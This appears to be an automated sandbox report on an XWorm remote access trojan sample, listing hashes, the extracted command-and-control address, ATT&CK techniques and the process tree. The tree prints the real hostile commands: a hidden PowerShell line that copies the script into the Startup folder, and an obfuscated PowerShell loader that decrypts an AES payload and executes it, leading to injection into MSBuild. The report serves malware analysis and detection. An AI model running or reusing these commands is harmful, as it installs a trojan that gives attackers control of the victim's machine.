xworm | 879dd84317070383446e37d5fd07a1c4d30b493a4a4bf9a6d15de20e77ddec30

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/06/2026, 06:10

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General

Target
TPURIN01260601401.vbs
Size 1.5MB
Sample260623-gw5fwaay91
SHA256 879dd84317070383446e37d5fd07a1c4d30b493a4a4bf9a6d15de20e77ddec30
MD5 77ad828b4844f85888b44513c295ae93
SHA1 da9a7cfa02cf1ce771befa185ff150d068f86fc2
SHA512 e18ba8471a0c81467dec2f17cc33ab149240de05b79a638506c2c83ce9cc54e45eb583e1f49ce25e37bec62cb4d00dc8e7648bda687dc44805046bcb9c215f20
SSDEEP 96:UHEWWaAltFmQYx444Wy9EnK1nzciMya3znaCUFKwgiRpj9zAdPgRmoks5wDcArNB:kEWW79B5xTQJu9b9525NttNvK1i/QfXS
TLSH
T1C6759A55A02BB669F7C76BE62DE72F1C08ACD81F600840AB3A50175ABC3494F31DDB9D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xworm rat trojan

Malware Config

Extracted

Family

xworm

Version

203.202.232.132:2828

Mutex

ulQxhAv1bSCnb98W

Attributes

install_file
USB.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2612-22-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1988	4308	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	1988	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
392	powershell.exe
1988	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TPURIN01260601401.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TPURIN01260601401.vbs	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1988 set thread context of 2612	1988	powershell.exe	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
392	powershell.exe
392	powershell.exe
1988	powershell.exe
1988	powershell.exe
1988	powershell.exe
1988	powershell.exe
1988	powershell.exe
1988	powershell.exe
1988	powershell.exe
1988	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	392	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	2612	MSBuild.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4688 wrote to memory of 392	4688	WScript.exe	86
PID 1988 wrote to memory of 2612	1988	powershell.exe	93
PID 1988 wrote to memory of 2612	1988	powershell.exe	93
PID 1988 wrote to memory of 2612	1988	powershell.exe	93
PID 1988 wrote to memory of 2612	1988	powershell.exe	93
PID 1988 wrote to memory of 2612	1988	powershell.exe	93

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TPURIN01260601401.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c Copy-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TPURIN01260601401.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TPURIN01260601401.vbs' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:392

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -Command "try { $indignly = [System.Text.Encoding]::UTF8.GetBytes('VKvXmZ6TZ9m4a9dU'); if ($indignly.Length -lt 32) { $indignly = $indignly + (0..(31 - $indignly.Length)) }; $childbed = [Convert]::FromBase64String('QWAjaJHB0selLPHlNllJweLLut3hYm00pqsfjDKIjBVlEr228zEPJ5mK2DOO/bowpWKAt2M/jqiq9THcZb+OvuYiojLCCceIu9A0uGr2OT/DKOHKnHwMF4bmUEfdcxTv1g1RPPPP0nmlg8/fsob1nnV5n24KAxO0HM71UTE4Uzcx4+zfCNE9Nx+01s76siPqhIzZIbHn+0h4Om4oq78pVYT10QUZPyhJrlEdBGd2efpVIWkEjxgwTLmiq3DLb3Igy9Qcb916rVb1F/qGETItuaxUj1THKc/+Fp3rwuU1YRX9wu7tUSDojyUCFI3BTGiO6yOhZfJ17DP6WZpBDVPg/Df4ZPk3qCGalErAgxphHfTuLJYsVf+UIbDN+upgJfp3UCaziZY9ZlJA+hjRkkSISbp6eH8OomwfMcOcE44NsJVFbxsKB4YJ/OlPn2bXPDLKpCWVhmuy9UoE9ZaJ0R1kEZ9k1f8wHFCN985Q6ybnZYlF9Yv5mItmGplET4jtAAxvGvgpMetaVwnsdgQyrApCPDI4XQunVBgo0vScc+yOgexrfSfjZFqQc/UwUODWEuLwulFc1BA7bSYoDYUTJLIj05OJtR/PI/nlUZJhY8LzMo3Dr8lRJJBtYTebmJsb1GHIigpcms8q5juVD06klzbHM5bG2jvZdvMwbe7rx1kP0mF9L2E/k8taB5IZ7JxNDM/o6anmN30j02aRHVJBrlZCLpDlezG1ly7h6+QlKsmFrwJsu2LLf3/WVQb2MG35vXxGvCGWT+d/XdsdQXQqHhMIBgvjkZdNHqWfbzMkBn4S8W9TQd44Xh0VGdNgaJc9PLsvIsZ8NyLTAK2x8oiCjMw7LEFfbl+hBkVDx9S1MNHyt2HhQnnJLtCiuNZ6gEqC6MEt99VJu0ZggUM4uhVxrd5WVfzgwuzTZy6x5NhKs7A957tY40z8tEiswwvIa+jNhdzdmbLbyY54C5cn/L85Fw2XFYIodAbxI2RM45kB8s3ej8mQcl7sLET1128X0LVxrfQ+b+tvXILk/sLHGgi7jop30dsUn4AK4hBg3DVAYB5fMWyGkh/rCm4Nw0aUgtgNECUhp/5qAkY2r6Brhh0q7ZcUNcDZbI9Wv6D1jLCDxooWZ236YYoY2J+Ax/mz9PrtdfaVCgwW51EstVBN/qIFNcp/2NXrOGOZXfK8lEd0ljttUVThlunEeTeKI5hl374pNKS/VO1opVMxIRy3JunLRyrPsOmvmrje2UzXrxVcQ5Q+7kQBeVg7YoIAawsA7Jzel1mumYqAEAysOldpgxBGblq6LVkU1M8cY+ROXHn6X3e4sjiJhiV5Y6Mc21fmJhoJrWvXBdEx5mFngEyGszqPZbodjBpz2B1RuQ7v24iq24aiIH+u8zN5zXoW4wr9psqBNrQNA58qS/OVuuSrTAn76mOfhXLB4V/1NMETBHVoKD100+qgRt1ZdDRLwGIN/4rzPdapSQoipDjJEuL/ieVjbkj//uqwFozXF3DC8rCMU77Nlb7tM3/7P+oU7cKaLb6F2V1QUe3xevuELr+0msUrgqAhwtqz7Y6fiXWEBubKGIS2kX1UH51H+cLBgFjdh+i8x/hQ8HW/tQX4KhV3dYe2iA7JGxNizs3vvGBzWstmmY5g3IZTIHOX1plTkTGWZEqGJVWgEBfu6qDxkiLAAjEK6AfwFrDbIC6xtBdDQ5XTjBew4tk='); $tarped = $childbed[0..15]; $ambigenous = $childbed[16..($childbed.Length-1)]; $bitterwood = [System.Security.Cryptography.Aes]::Create(); $bitterwood.Key = $indignly; $bitterwood.IV = $tarped; $hassidic = $bitterwood.CreateDecryptor(); $fissipeda = $hassidic.TransformFinalBlock($ambigenous, 0, $ambigenous.Length); $seizling = [System.Text.Encoding]::UTF8.GetString($fissipeda); Invoke-Expression $seizling; } catch {}"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1988
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2612

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5879cd29749413ea480d76aa33e54042b4178892105adcc7524e5a10b61ab5b1
MD5 ad32e4d0699875686840f59ed897457e
SHA1 6acfeb0c05ff0df0d76bfe9ff52b34d277784ed8
SHA512 c4a247d586f039e4d22ece76e281621c5db5202e50c439c7d1e31ad32e4c9474c40a69ecae00b068c0e45e00177b5d64a1cfe7f7c0239a0295d039cf9d9ad944
TLSH
T12B217427B39C8921CC96113A009EAC1172B6C3DB81AECF9F7FC4D214A17F588CBB1690
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_gnqkxoxw.ax2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gnqkxoxw.ax2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/392-0-0x000002AFDE2A0000-0x000002AFDE2B0000-memory.dmp

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memory/392-7-0x000002AFC5BB0000-0x000002AFC5BD2000-memory.dmp

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memory/392-1-0x000002AFDE2A0000-0x000002AFDE2B0000-memory.dmp

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memory/1988-20-0x000002982F4E0000-0x000002982F602000-memory.dmp

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memory/1988-21-0x0000029814EB0000-0x0000029814EBA000-memory.dmp

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memory/2612-22-0x0000000000400000-0x000000000040E000-memory.dmp

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memory/2612-26-0x00000000056D0000-0x000000000576C000-memory.dmp

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memory/2612-27-0x0000000005D90000-0x0000000005DF6000-memory.dmp

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memory/2612-28-0x0000000006850000-0x00000000068E2000-memory.dmp

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memory/2612-29-0x0000000006EA0000-0x0000000007444000-memory.dmp

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